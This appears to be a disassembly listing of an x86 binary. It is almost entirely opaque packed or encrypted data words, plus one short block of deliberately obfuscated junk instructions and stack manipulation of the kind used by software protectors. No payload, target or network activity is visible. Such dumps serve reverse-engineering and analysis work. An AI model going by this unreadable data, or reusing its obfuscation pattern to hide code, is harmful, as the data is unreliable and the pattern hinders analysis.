2229F67Ah, 0B159CEB4h, 47504DCEh, 75DDEFA0h dd 3E09DCB5h, 75DDB65Ah, 3E095EB5h, 75DDF95Ah, 3E09FEB5h dd 0B152E59Ah, 4DD5585Ah, 3323ADA1h, 0BB8F7CF0h, 8A57AAEDh dd 0CDA92A4Eh, 3256EF08h, 0D9FD86B1h, 0F09FDB36h, 0B9035DB9h dd 77DDCE5Dh, 3E136CB9h, 776DA3C3h, 0CA55A2A1h, 0D9AFE95Ah dd 0F09F14B1h, 0B903BABDh, 0CE92DE5Dh, 325646D1h, 0B30C57B1h dd 1705295Bh, 19FE6B7h, 0CE0B636Ah, 7A0CCF3Ah, 0DD5BC94h dd 0B13229B1h, 3723518Eh, 0D9429032h, 36292840h, 0B15EA1B1h dd 4656E6CEh, 0CD5E9EB3h, 0F5D546F4h, 0B18DB6A5h, 4653BECEh dd 2229D4BEh, 7347DEB7h, 0B952923Ah, 2FBDE6EEh, 0B952323Ah dd 21BDB6EEh, 0B9521A3Ah, 6D7DA2EEh, 37BDD4B5h, 3146D432h dd 1917D4C4h, 330A6368h, 0CDA9CDB0h, 37EF454Eh, 0C1565DB1h dd 53C1451Ah, 0FBAA123Ah, 6107FB72h, 3256D559h, 0D8D7B0B1h dd 347321BCh, 7A24203Ch, 56EE5B94h, 0DA56AEB1h, 32565763h dd 0F36DA03Ah, 7955C15Ah, 4097D1B5h, 221D76A6h, 30247B8Ah dd 26BD5F5Ah, 0A8DBBC5Ah, 3473E442h, 3ABD784Eh, 854F4F3Ch dd 0E1A9EC94h, 0F10E2CEAh, 0DABA31E4h, 32565DB1h, 6EBC2FEBh dd 525072E5h, 7A24113Ch, 77DDD394h, 0B95163B9h, 75DF79F4h dd 221331B5h, 0B95A1A38h, 75DFBAF4h, 0F09F36A1h, 0F436ABA1h dd 2D76F034h, 283EADB7h, 0CDFE62C2h, 2D64CB04h, 0A1D3D0B7h dd 0CD508CC8h, 0B8DB0561h, 3473E32Fh, 68862AE0h, 7AC8683Ch dd 85597394h, 0EADDB6F1h, 686752E3h, 0B0DF6DB2h, 34495908h dd 5251C3D0h, 0E8h, 0EA815A00h, 62554CDh, 0B9828B52h, 0B9061F0Eh dd 41C64E6Dh, 55AE1F7h, 3039h, 0FFFFFF25h, 0B982897Fh dd 5A061F0Eh, 5251C359h, 0E8h, 0EA815A00h, 62554FDh, 0BBE8C88Bh dd 33FFFFFFh, 8BF1F7D2h, 0C3595AC2h, 0C08BC08Bh, 4B0E858Dh dd 0D0FF0625h, 8DC18B66h, 2554C685h, 99858906h, 8D061F16h dd 2554F685h, 0C9858906h, 0B8061F08h, 0 dd 840FC00Bh, 47h, 202585C6h, 6856061Fh, 0A9C530DFh, 3271B5FFh dd 858D061Fh, 6227993h, 8D50D0FFh, 1F05FD8Dh, 46A5106h dd 100068h, 0CDB5FF00h, 0FF061F05h, 0CDBD8BD0h, 3061F05h dd 0C7813C7Fh, 0F8h, 202447C7h, 8D600000h, 1F19459Dh, 0B038B06h dd 5840FC0h, 8B000000h, 4438900h, 234CF6B9h, 438D8D00h dd 8B062556h, 1F1D01B5h, 5D8D8906h, 6A061F0Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 7B8DC357h, 85C7D78Bh, 61F20C5h, 631Ch, 0C94458BBh, 0C703B456h dd 1F137D85h, 6, 57D78000h, 1575B5FFh, 8589061Fh, 61F1C61h dd 2D5995FFh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 6967E5C3h, 0BEAE33FFh, 13757F40h dd 0DBD8D29h, 8589061Fh, 61F10D9h, 95FF006Ah, 61F1D45h dd 0FEBC08Bh, 274AA3EFh, 190CC9BFh, 2C055847h, 0E83E7308h dd 10h, 778480C9h, 0C17F1EC8h, 0EA65C71h, 0E9B4282Bh, 23D18501h dd 15A061Fh, 1F0A358Dh, 0A7C28106h, 6600005Bh, 0DE0EE81h dd 5F6B1BFh, 75F78168h, 0F6805E0h, 68Dh, 0A1950100h, 8B061F1Eh dd 0F3B70F0Ah, 28D0E981h, 0E58A1A18h, 58F1F181h, 8D8954A7h dd 61F2EA1h, 36FF181h, 8D893537h, 61F2BD5h, 28FFC51h, 0E36EB866h dd 0E804EA83h, 0Eh, 8F38A6AEh, 40794905h, 55699DEDh, 852B2502h dd 61F18D5h, 1EF8158h, 0F000000h, 0FFFFAA85h, 6DB58BFFh dd 8D061F05h, 2557948Dh, 6DBD8B06h, 66061F2Eh, 439ED081h dd 0B5D8D89h, 85C7061Fh, 61F20C5h, 5CE4h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 14h, 0A0C35242h, 33DB589h dd 8C0F061Fh, 6, 0F5DBD89h, 85C7061Fh, 61F137Dh, 0 dd 1867E381h, 0B5FF4318h, 61F157Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 10C35747h, 0E41A509h, 3E97668Ch dd 66F08B3Fh, 0FFC005BEh, 1F2D5995h, 0FF006A06h, 1F1D4595h dd 0EBC08B06h, 94F02D3Fh, 2EF86C4Dh, 46780610h, 0C9A41EBFh dd 5D0D268Bh, 4B13ED1h, 0E2184FA4h, 92EA333h, 9EA62C7Bh dd 3B436903h, 0C15ACAE6h, 2582DF06h, 0EC8021DAh, 677A2C2Fh dd 12A2EEB4h, 430E8ED5h, 0DE8h, 0B7014700h, 0FEB64227h dd 7A4C9B76h, 28BE4887h, 5F2A5689h, 69B5C781h, 0BE660000h dd 0C92BED0Eh, 2F3D958Bh, 34FF061Fh, 89958B39h, 58061F07h dd 8AC081F5h, 8B60CFE5h, 97F081D6h, 665B1200h, 81AE60BBh dd 0EE6CF2E8h, 50F08A7Fh, 5D9589h, 48F061Fh, 8166570Fh dd 5BAF9CE2h, 1FE99D8Bh, 0E983061Fh, 1D9D8B04h, 81061F0Ah dd 0FF96ECF9h, 16850FFFh, 66000000h, 0A2D5E281h, 25E9h dd 6A291000h, 77A9B468h, 41D7B057h, 5DB58948h, 0E9061F15h dd 0FFFFFF8Eh, 28BFC079h, 1BF82FD8h, 8AD7B348h, 8D8D04FAh dd 6255943h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 5C35141h, 707A3705h, 0E9FCFCE9h, 14h, 0E6BEBFA6h dd 0E2281957h, 0D73CA4E3h, 810D02ADh, 5461BF4Fh, 5D8D89F8h dd 6A061F0Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 5F46C351h, 446C39F4h, 89DD7B08h dd 1F161185h, 0C585C706h, 0C4061F20h, 3100005Dh, 1F1AEDB5h dd 7D85C706h, 61F13h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0F2B2C352h, 0B5FF18EFh dd 61F0D29h, 95FF39B4h, 61F2D59h, 95FF006Ah, 61F1D45h dd 3AEBC08Bh, 0D1524EF6h, 779CD725h, 50452C70h, 3F0868FEh dd 6BEDF92h, 55A7B98Eh, 0F6139330h, 5C89F774h, 4087425Eh dd 0AB01F36Bh, 840F688Bh, 9DD6CFA4h, 5241B44h, 0D6F2E330h dd 0AE81D9Ah, 81000000h, 0BBE7B047h, 9EBFC67Bh, 75958B7Ah dd 59061F0Eh, 8E9h, 7B64A900h, 717DD939h, 0A9C18120h, 8B000071h dd 1F137995h, 188BF06h, 0EF814FE3h, 4FE2E542h, 8FECB866h dd 0C381318Bh, 1DC71A27h, 5F93EE81h, 958B24C7h, 61F0885h dd 0F0E2F681h, 11E836EAh, 79000000h, 0AFCE3CEDh, 9A5B2BCFh dd 2A8202E0h, 0A4C0589Ch, 58DA8B66h, 33ACEE81h, 0D480030Ch dd 6631890Ah, 0C03FE081h, 8904E983h, 1F19A19Dh, 1EF8306h dd 0FFAA850Fh, 9D8BFFFFh, 61F1FFDh, 0E71308EBh, 45E0h dd 0B0E90000h, 6800000Ah, 6255B98h, 0FAEF98E9h, 5CA068FFh dd 8EE90625h, 68FFFAEFh, 6255E89h, 0FAEF84E9h, 5F6B68FFh dd 7AE90625h, 68FFFAEFh, 6256107h, 0FAEF70E9h, 627568FFh dd 66E90625h, 68FFFAEFh, 6256355h, 0FAEF5CE9h, 950E33FFh dd 3AEDD334h, 0DFB678D9h, 7E111D7Eh, 1EF3BC1Dh, 39FE8FBDh dd 0DF40A176h, 82E344DBh, 2687E8BDh, 0D12D8E1Fh, 72B5396Ch dd 731AF7B3h, 881A42Eh, 94153085h, 0A87DCE33h, 2CF951DFh dd 0A95569DCh, 53020426h, 784495EAh, 0F58322A5h, 0AF5983AEh dd 961F54FBh, 5BAC1C4Fh, 0FD52BB6Ah, 0AD4224CAh, 9F04B3F7h dd 0E584079Ch, 559DD457h, 5BF7AD42h, 115E9AB9h, 34A10265h dd 46h, 5AB57ACBh, 74B43278h, 1093423Ah, 0B18EE371h, 7EB11A74h dd 0FBAF3723h, 841B2576h, 1184AC01h, 6136FD62h, 86B13FDEh dd 34D6ED7h, 5EC4DFB7h, 88BF42D0h, 0F7ADFD6Ah, 4985A446h dd 0A1030C26h, 0AC1Fh, 81A4CA00h, 0F308508h, 0DAE0319Ah dd 0DD32B543h, 67BC3FC8h, 4364CD5Eh, 8CED8021h, 0E4C72C06h dd 0FD40A12Fh, 0F18EAC2Bh, 79DA5372h, 0F97C0D18h, 0B11A74B1h dd 0AF920F7Eh, 0B26182FBh, 5587789Ch, 0D988B341h, 85012478h dd 0C865E91Ch, 7B2A01CCh, 29FEC112h, 0CF4467C8h, 0FCE15054h dd 251D4E2h, 8A5h, 0B6C250Ch, 0B01184AAh, 59BA6D4Fh, 6134F8h dd 0A6079C9Fh, 19221578h, 0FEC22384h, 5E65C627h, 3E0768C9h dd 4BB00C6Dh, 0B373D618h, 0D52F9F7h, 0F74C9BA4h, 8E182AC4h dd 0B7FEADF1h, 0F18E1837h, 0D93AE998h, 7BDCAD78h, 694FA02Ah dd 55D028B6h, 49DD039h, 0D1FBAF37h, 8A689F22h, 26F7AD37h dd 46296584h, 0FFA10246h, 0EBh, 6B4FA0AAh, 1827C7FAh, 0F9A8F18Eh dd 9A28C74Ah, 2E971035h, 0B310B8D9h, 0D6753C8h, 8E3628C6h dd 6AF8A7F1h, 0F4A992E7h, 3AEE3A71h, 1233F18Eh, 320AFC13h dd 65749E38h, 178ECD35h, 2B8C3BEAh, 0AF32FBCAh, 67D0BE67h dd 0AF355934h, 6C093EFBh, 8D8BC620h, 81D536E5h, 0DF0C34A4h dd 0AD7042ACh, 37E695F7h, 77EC1F88h, 4001CCFCh, 0D4D72891h dd 6750B3B9h, 10BFF9E5h, 0BE4F56A7h, 4D6ECF30h, 84187452h dd 0CCC09D51h, 4E8332F1h, 0EF9EA1D4h, 0FC576274h, 2C7BFEE2h dd 79Dh, 3643D04h, 0A8099CA2h, 51B26547h, 0F859CCF0h, 9EFF9497h dd 111A1D70h, 0F6BA1B7Ch, 565DBE1Fh, 26FF60C1h, 43A80465h dd 0B374DE10h, 54AF1F7h, 0D6184BA0h, 0F9F18E18h, 5457BC4Ah dd 3D0556BFh, 0BA48E76Ah, 82A3F459h, 0F167B09h, 0A0CC1D7Eh dd 0A5C5617Fh, 65F3B525h, 0E1642500h, 87F0B98Ch, 73CABF66h dd 6CFA7DBEh, 206EB70Bh, 291162B7h, 0EF54F376h, 31D053C8h dd 35615CA3h, 8736FBAFh, 5896C91Eh, 77F7AD35h, 62B73AC8h dd 869CA43h, 90E96C3Dh, 0B7DB736Fh, 0AB930E0Fh, 70B745F4h dd 7E679261h, 0B4F110C2h, 56B71891h, 43BBE4Fh, 72E78CEDh dd 77AAFF64h, 72E78C77h, 691BA958h, 0B9380D4Ah, 0C6D1CF3h dd 5E8B9AABh, 0C84164AEh, 0DF71A645h, 0A72AD96Eh, 0E72F8570h dd 8FAE4C72h, 3F047352h, 9948E76Ah, 3DCED738h, 8B07B3D4h dd 27B90DABh, 57CE1699h, 0CA9BCE37h, 0B7A55D0h, 7EA7FB5Ch dd 8974A710h, 6E7468D6h, 3D0556BFh, 59DC6Ah, 0C89042DFh dd 35FA8AF6h, 0DC23B160h, 70348B15h, 6EF1A488h, 0F5ED3D49h dd 0E84D516Bh, 96CF52C7h, 66CCD9F8h, 9D83BA25h, 22C416C5h dd 9EA8C703h, 9B9D1989h, 48000003h, 0FF267CBDh, 9ED1268Fh dd 0F18E1850h, 81141A7Fh, 0A8DB44D2h, 0FBAF3825h, 0E52CBB6Ah dd 7CBE69CDh, 55BEC85Dh, 0A21CD00h, 0B07C78A0h, 90BB5ADDh dd 0E392052Bh, 0C8B9EC55h, 0AD82C11Bh, 7B4495FEh, 0D457CEF0h dd 1E218635h, 0D9670689h, 57A8FD56h, 7579C057h, 20729CD8h dd 0AC5B861Bh, 2F5FC61Eh, 0F0C7A5C6h, 4F2AA34Bh, 9837BA6Dh dd 0BFF25BE9h, 7CBAECA4h, 1184A6F7h, 40A95883h, 0F455D6EFh dd 227D3E8Fh, 681A4D96h, 0F87B2A68h, 5F66CB59h, 7F4753CEh dd 64E765EEh, 5B415h, 7D161B00h, 22F5BB1Ch, 0C75E60C1h dd 66390566h, 69BA405h, 211677A5h, 0C728891Eh, 6ACB2CE3h dd 0E6FD045h, 0B9157637h, 76CD2154h, 5B02F7B3h, 6074B116h dd 8E18C12Dh, 49A5D8F1h, 8EF18E18h, 527FB4DFh, 788D9866h dd 0C42DDC8Bh, 53D64973h, 0F3A7FB4h, 1C159270h, 0CBF2258Eh dd 0ACFBAFD0h, 257AFDh, 0F8CD1E87h, 2CDBAC79h, 1BCD1B9Eh dd 2D59CCFCh, 0D64973C4h, 11ACDF48h, 6601CEEAh, 0D0F556B7h dd 0A67FD457h, 0E493082Fh, 0F312C061h, 0B51EEFB6h, 0B8C12D60h dd 6716F18Eh, 571878D9h, 0EE9AE3C7h, 256h, 1A74B199h, 0F2567EB1h dd 0D685FBA9h, 7D101C6Dh, 0A3586EFh, 0E8D33495h, 33E2B57Dh dd 0E2B579CAh dd 515BC05Fh, 76AD30BEh, 0F7B37281h, 118C1D28h, 1B18CA3Bh dd 0D2DD2CAFh, 39000004h, 0DD3E9F70h, 7EDF40D7h, 2788E9BCh dd 0CE2F9007h, 0A9D738EDh, 0B36853C4h, 56C9F152h, 0FAAF94F5h dd 9C6D3899h, 477ADF3Bh, 0F7B377A7h, 0A03C8128h, 0D20B9C7Fh dd 9CDC0110h, 0CF0494F5h, 5DB543F2h, 2255BEC8h, 0FBAA68B2h dd 0C24B5AABh, 0D75A0934h, 89EAA382h, 98C1D28h, 0D5E91B4h dd 4EED7027h, 0B344E707h, 1697AEF7h, 1AC9F493h, 9947E86Bh dd 9F683D7Ah, 344F1536h, 41930A3h, 0B45A7ECFh, 31BF1EF9h dd 101A6BD0h, 7D10187Dh, 69CD5BFAh, 0A1090E06h, 1813Fh dd 81A4EA00h, 15308508h, 46DF3394h, 85ACDF48h, 52FBAF1Eh dd 9E920A3h, 0A7F7AD1Eh, 50A5E605h, 0AD1ED11Dh, 0F25706F7h dd 68CC5AD3h, 0A1024107h, 403Eh, 74B1E900h, 237EB11Ah dd 0B4FBAF37h, 654B9C05h, 0C62F6A2Ch, 0DA892B2Fh, 0A72AB857h dd 0AD718270h, 6D8C2EF7h, 2803E31h, 0DA07A1h, 499E0000h dd 0AD65D816h, 5B8EF7F7h, 0F7AD6593h, 58E69544h, 881A403h dd 0B96C4E9Fh, 6A629736h, 355BA622h, 0EF44C755h, 846A9DCCh dd 53F18EE8h, 0AA59CCEEh, 0CA1F78FBh, 8EE85797h, 3BC978F1h dd 0A788CFD6h, 21D06FF2h, 0AB7C499Eh, 0ED21074Ah, 5D68F18Eh dd 0E176BCCh, 0B2F61780h, 173AE6B7h, 56787BAh, 0B968F18Fh dd 0E0137C0Ah, 0FBAE9201h, 9DBE27D6h, 7533ACFFh, 48B13F3Ah dd 406DD2F3h, 9464C4C1h, 4F9EA106h, 0AF19D21Ch, 9BA005F7h dd 47A85706h, 0D550C5E6h, 0E4E36EE9h, 36ABFA7Dh, 9D000003h dd 399AFB94h, 0DA3B9C73h, 7BDC3DD0h, 1A7BDCB3h, 0ED1B7C11h dd 0FF949798h, 0A2753D9Eh, 46DBE041h, 0E8A184E5h, 93C62B87h dd 0F7B3795Bh, 0A490D57Ch, 44A5069Bh, 0F647A861h, 850881A4h dd 33941530h, 0DF4846DFh, 0AF0CB9ACh, 0EC6F1EFBh, 0AD2C3FB5h dd 58AD12F7h, 0AD2CC925h, 71D90EF7h, 262BA98Eh, 16C85605h dd 5965B6F7h, 45E038C6h, 0B8ADE049h, 1D01CEDBh, 57A80D6Eh dd 9E3DC057h, 81A4BB10h, 15308508h, 46DF3394h, 698ADF48h dd 0E37038BAh, 7D0E171Ch, 1EAC5BFAh, 0B0075AD7h, 426CBDFBh dd 63123DCBh, 7C72A5FAh, 5BF7AE07h, 649B1EACh, 0F7AE078Eh dd 0B278C922h, 2BB958DBh, 511E5A79h, 0F4A1032Ah, 27h, 1A74B19Fh dd 37237EB1h, 2576FBAFh, 65048700h, 7AFDACD7h, 0AD37AF43h dd 405F01F7h, 2466B04h, 0CADAA1h, 0A0850000h, 7989357Fh dd 396E66B2h, 484A8F90h, 379C2AF9h, 0E3349D6Eh, 32B543D8h dd 0BA3DD2DDh, 5EC74065h, 0E270270Dh, 8EB5065Fh, 69F79619h dd 7682104h, 8EA964C4h, 6C54A5F1h, 99736B9h, 0A70881A4h dd 9FCAF142h, 0CD5B0A9Dh, 49CC5D68h, 16A2401h, 0AF948FCEh dd 107120FBh, 0B41D69BCh, 0CD426A81h, 20066B01h, 7120F7B7h dd 270859C2h, 8FB01172h, 45A59F1Ah, 0CE51E2FCh, 1C87Fh dd 990A2F00h, 3ED1D738h, 0DBB27CDDh, 8215197Ah, 2AFFC021h dd 45CA9BC9h, 0E344A57Ah, 86E748DFh, 2A8BECA1h, 0D531921Bh dd 7AB13D70h, 7F26F7B3h, 69BA43Ah, 0C8EF40A5h, 37B7EA53h dd 98F18E18h, 2FF65BE9h, 4798FD5Eh, 0CC21AF64h, 0B11A74B1h dd 0AF37237Eh, 8205B4FBh, 0AD37A74Bh, 486709F7h, 246630Ch dd 0BCE2A1h, 0A48D0000h, 30850881h, 41ADE00Fh, 96F18E18h dd 7EB538E7h, 0F18E1CAAh, 0F455D6EFh, 0C9C46E8Fh, 99DC1F68h dd 0E9FA60Bh, 0A4E2438Bh, 6F55083Bh, 1B3CFBAFh, 0C07FF603h dd 0D3FE8C8Ch, 0B66FC324h, 0A3C6FD8h, 8F01CD9Ch, 19A77E3Eh dd 85D63FEEh, 0C65E8BFh, 0CC7315D9h, 5C0BBAF1h, 732EC0F3h dd 0F2A1F1CCh, 81AAFB64h, 614AAB0Ch, 347131ACh, 6AEDE2FCh dd 0E81Bh, 0B96A4F00h, 5E31F758h, 0FB929CFDh, 0A275399Ah dd 4ADFE041h, 65AABBE9h, 364C55Ah, 0A607683Fh, 4AAB0C81h dd 0F551B27Bh, 7B915D90h, 9F46F7B3h, 809BA45Ah, 83AB8F97h dd 0B5EA890Ch, 0D2818AB7h, 74351071h, 81A4C213h, 0DB2C8508h dd 0F2A589D4h, 9321C043h, 3596172Eh, 0E14A44E1h, 9E713B8Ch dd 0F20FC910h, 1D72FBA9h, 0B37204EAh, 9624D3F7h, 0E039BC6Bh dd 7296588Bh, 8A39F7B3h, 0FD8E97FCh, 0C6E6379Ch, 9F2DCC4Fh dd 0B5E86B3Ah, 0F7B37239h, 0A275399Eh, 22D1801Fh, 0F473689Fh dd 77E0BBEEh, 2B900526h, 69088B00h, 0CD0A29DBh, 69CE2FF8h dd 0F00DE114h, 13C2376Eh, 0CE052085h, 18433EAh, 8A0D80ACh dd 2A6B8A3Ch, 0F04CA2D5h, 0DC8B376Eh, 0F0AE4073h, 7221376Eh dd 0E5A67FE4h, 89022384h, 3B706h, 5E620000h, 49DA409h dd 90192C81h, 1EF3B80Dh, 0AB62469Bh, 33E8D328h, 0BB505BB0h dd 44DBE338h, 0CB426CC1h, 5ACDF348h, 89538ED7h, 4C381E3h dd 81000000h, 4EBh, 241C8700h, 2424895Ch, 4240481h, 51000000h dd 0C181E189h, 4, 4E981h, 0C870000h, 14895C24h, 67306824h dd 34890000h, 4A38BA24h, 0B85038BDh, 3E981049h, 5458C231h dd 8324348Bh, 525704C4h, 43243481h, 5F5C4A71h, 7143F781h dd 7E895C4Ah, 34FF5F08h, 0C4835E24h, 2434FF04h, 4C4835Ah dd 0FAE4F4E9h, 0B8C549FFh, 6256462h, 0E0FFC503h, 2775CBF4h dd 596A67F2h, 56FE1ED1h, 784FC9C5h, 69B33D55h, 1BECED6h dd 1F53609Bh, 178FC6ECh, 31BE0578h, 65EF8D8Dh, 9D290625h dd 61F20DDh, 6E9h, 0BB85C600h, 89F9C441h, 1F0B5D8Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0C585C796h, 3C061F20h, 6A000058h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0A186C352h dd 85C74646h, 61F137Dh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 1DC35141h dd 0ED7EAD9Bh, 10E9h, 0E79F4000h, 97F947B0h, 1DC2565Bh dd 93C79C47h, 18B0F58h, 0F8000000h, 1ECDB5FFh, 0BE9061Fh dd 0FF000000h, 0E7E0E596h, 7C4E186Bh, 95FFA308h, 61F2D59h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0ACC35242h dd 95FF006Ah, 61F1D45h, 3DEBC08Bh, 53F76E41h, 864DB613h dd 5F7C001h, 9B973921h, 0ED9B5DBFh, 6AC49C56h, 2A1F24A5h dd 0F7279297h, 4DFC68E2h, 0F3BB9F64h, 0C14BCA51h, 0EC78FC85h dd 0A19DF547h, 0F49B7EB3h, 50146F55h, 8EB57h, 24000000h dd 0E96538E6h, 502h, 25674B68h, 1738E906h, 0B068FFFAh dd 0E9062567h, 0FFFA172Eh, 25692068h, 1724E906h, 0C5E7FFFAh dd 0A401C53Ch, 8A20E45Bh, 6D3C0077h, 4F571B92h, 35EF3BB2h dd 148B7630h, 35AC6350h, 53CA3771h, 70E7188Fh, 0AA822EA7h dd 3D19AE3Bh, 0F37C9205h, 0D3A16F47h, 2A4E021Fh, 43D52C7Ah dd 70E7188Fh, 0E25B2E09h, 0F0952136h, 68FAAE15h, 0F2D3F4C8h dd 1DDD5A25h, 3FE77996h, 0D3421AC6h, 21D525F2h, 0DF5C82FDh dd 974729Ah, 31533h, 7FEBC000h, 30A9EC4Bh, 0F081CB84h dd 19AC6015h, 0D5E92C79h, 0E5A88F22h, 8D3C06Ch, 0DA101975h dd 0B121AB05h, 9E0BBBCAh, 44043D61h, 0EA159063h, 680CB446h dd 53B87FD6h, 48DA875Ch, 49C2662Ch, 9409FC9Dh, 0D52B611Fh dd 0B647919Fh, 34E82145h, 357232BBh, 6C9038CAh, 3192EBBCh dd 58C8BD62h, 2F07B32Ch, 0C22F9645h, 66F36A0Eh, 0D8FC03A6h dd 19807F28h, 0F9EAAAD2h, 39C2E177h, 0FA000003h, 14D84FB2h dd 33F76E91h, 4F138A77h, 6A2EA55Ah, 24EC53Ch, 0A0614548h dd 0C14E6529h, 0DF22864Ah, 0FC03A468h, 9743BC85h, 19AE3ABFh dd 0A2A71A52h, 0DB870095h, 15F6C818h, 1BE4C585h, 910ABEF7h dd 0B52CD5D1h, 0CB77B5F1h, 25F908F3h, 9C2ED286h, 0F9092DFCh dd 936C3B25h, 0D6FC52Ch, 0CBEA80F0h, 2D4h, 73EA1795h, 9209F6AFh dd 0AE25DCCEh, 0C940BFEAh, 0E960A105h, 0CCDAE39Dh, 0B9FABE35h dd 8D1BDF56h, 6E39FD74h, 0D8511A91h, 0AE3A542Ch, 3CAFE719h dd 870095A2h, 0F6C818DBh, 7F11C515h, 0F9090BDFh, 78891F25h dd 8D7432E6h, 7C62F1FBh, 0AD453B1h, 4E216831h, 0E61CA509h dd 0FB1F351Bh, 8D650197h, 2025F98Ah, 0C7AF486Ch, 3C000001h dd 0B9D6245h, 2EDA5057h, 1FD3A156h, 0DCB460E9h, 6F1FD3A1h dd 55F117BBh, 3F5615B9h, 0E44BC266h, 19C53E53h, 15F02A04h dd 29D6D191h, 7F53F385h, 0E525F228h, 0F6C37866h, 170975C1h dd 48h, 95A2A4h, 8136DB87h, 23E315F0h, 0C1EB7D82h, 0FB6CB98Eh dd 0B155F954h, 0DF6CA21Fh, 0B579B14h, 0C1953155h, 2725F2B7h dd 40BFEAAAh, 67E206AEh, 8621E177h, 0FABF5579h, 33097456h dd 38CA3773h, 0E2D36C90h, 60000000h, 0B9D6245h, 0AC304F57h dd 1D5D2CE1h, 59CE5B1Dh, 894F4B33h, 89F53E5h, 5FE865F7h dd 0D332DBB3h, 96BA6E1Fh, 0C73EC1E6h, 0D3372917h, 8D72351Fh dd 588AF16h, 7F57038Ch, 121FD336h, 15C13A5Eh, 15F4A330h dd 79961DDDh, 229B3FE7h, 0E98E69ECh, 0C5EB89D1h, 4262FA90h dd 0D34C70D5h, 0F76E9313h, 5FCAA6Ah, 0F7A7CB73h, 966D46AFh dd 0A94DF110h, 913D142h, 0D7F68CF0h, 164h, 37A8725h, 2299663Fh dd 3EB54C5Eh, 59D02F7Ah, 79F01195h, 3C6A732Dh, 298A4EC5h dd 0FDAB6FE6h, 0DEC98D04h, 68E1AA21h, 0AE38E4BCh, 0CC3F7719h dd 0BCB6145h, 2CD4669Bh, 0D3A1B890h, 16C24B1Fh, 1FD3A13Eh dd 0D5791DD1h, 0F20D9A5Eh, 7730F079h, 0A214EC88h, 0F3A71FD3h dd 0BCB58CFh, 0F5B2629Fh, 0ACD0780Ah, 9D624549h, 0AF50570Bh dd 2366D138h, 526121AAh, 5F832BBDh, 0F0F07FC3h, 7D2AEA15h dd 2448F082h, 35BE37EBh, 0F2EFB189h, 6C904425h, 8E7333F3h dd 0EF936717h, 0A725F2h, 3BFB88FFh, 0A8F3146Bh, 0BF0F397Fh dd 0BDE1891Bh, 4A5C990Dh, 649A13B7h, 26D10BA1h, 0F082A665h dd 0A3D1h, 95A25A00h, 0AB4FB2F4h, 0C7FF8632h, 0C07415F6h dd 0DD228747h, 0ED7FA34Bh, 18916E39h, 2FDB4F58h, 25F90757h dd 9236EAh, 0F9BD3458h, 8F6445AEh, 9F43E718h, 0D9D0900Dh dd 0E476991Ah, 5206983Ch, 6E16A857h, 670AA6CAh, 47011694h dd 0ACFB26B8h, 0C64FDC53h, 0C05CA306h, 891694E8h, 0F3A3C77Bh dd 12D24BB4h, 0B8476093h, 95588214h, 2A03A541h, 0D7698D31h dd 0E7798623h, 1908D655h, 6FF8718Eh, 7305FAAFh, 95572FCBh dd 36EA8916h, 0D0D79B12h, 0D7E9D2Fh, 0F1000000h, 95E4BC68h dd 0C3778916h, 40A73C9Fh, 89A6745h, 1AAC5354h, 2DBF4266h dd 43D53A79h, 58EA178Fh, 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h dd 0A234CBDAh, 232E6886h, 8F540000h, 4812404h, 424h, 0E6895600h dd 4C681h, 0EE810000h, 4, 5C243487h db 89h, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push esi mov esi, 4CD849EFh mov ebx, 0B94D1C6Fh add ebx, 12002D27h add ebx, esi sub ebx, 12002D27h pop esi push esp mov edx, [esp] add esp, 4 push ebp mov ebp, ebx mov [edx+8], ebp mov ebp, [esp] add esp, 4 push dword ptr [esp] pop edx add esp, 4 mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_535A7A ; --------------------------------------------------------------------------- dd 0D6EFD0F3h, 2B33EAFDh, 94DE389Fh, 0A9B8E5C3h, 306256Ah dd 94E0FFC5h, 0ED6560BDh, 6962A498h, 85408D89h, 9406D051h dd 0C06D443Ch, 807A50B5h, 153716F9h, 7A46E7ACh, 0D66F4422h dd 0D26E36B1h, 0E82ADA29h, 5, 0D9DB81E1h, 0A3C9817Fh, 5F7B9DFCh dd 8E9h, 0CCC67600h, 964CF741h, 47C78164h, 66000073h, 0E2BCC981h dd 1CA768h, 0F6816600h, 6658F0EBh, 5AC681h, 81661F8Bh dd 819F97EEh, 0ACC1E0C3h, 8B0F6068h, 2, 0B057F8B6h, 81615A83h dd 2169B0EBh, 0E8DABA71h, 0EB814B31h, 5C3FAFE6h, 1C86BA66h dd 1D40BE53h, 78F33E7h, 2EF83F5h, 4F66E680h, 0E883F84Fh dd 0D850F01h, 8B000000h, 29E9D6h, 7EAE0000h, 0A3CE8868h dd 7860Fh, 8B600000h, 3BC880F0h, 0FF96E961h, 267DFFFFh dd 9400E2DFh, 0C99B391Dh, 350D0E70h, 8DF17311h, 256D028Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 9E5FD0C3h, 0BF0FD59Ah, 10C080F0h, 0B5D8D89h dd 0BD23061Fh, 61F0035h, 20C585C7h, 6844061Fh, 5B530000h dd 137D85C7h, 61Fh, 0C7810000h, 6F6EBA4h, 0F41B5FFh, 6A061Fh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0A7004BC3h, 0D26B51A2h, 8B0F603Ah, 6, 1331B589h, 2FBF061Fh dd 61333BD5h, 5EAABA66h, 0EE9h, 6EBA3C00h, 0B5B91CDAh dd 13FA1377h, 0FFCBCFCFh, 1F2D5995h, 50006A06h, 3E8h, 0C3582000h 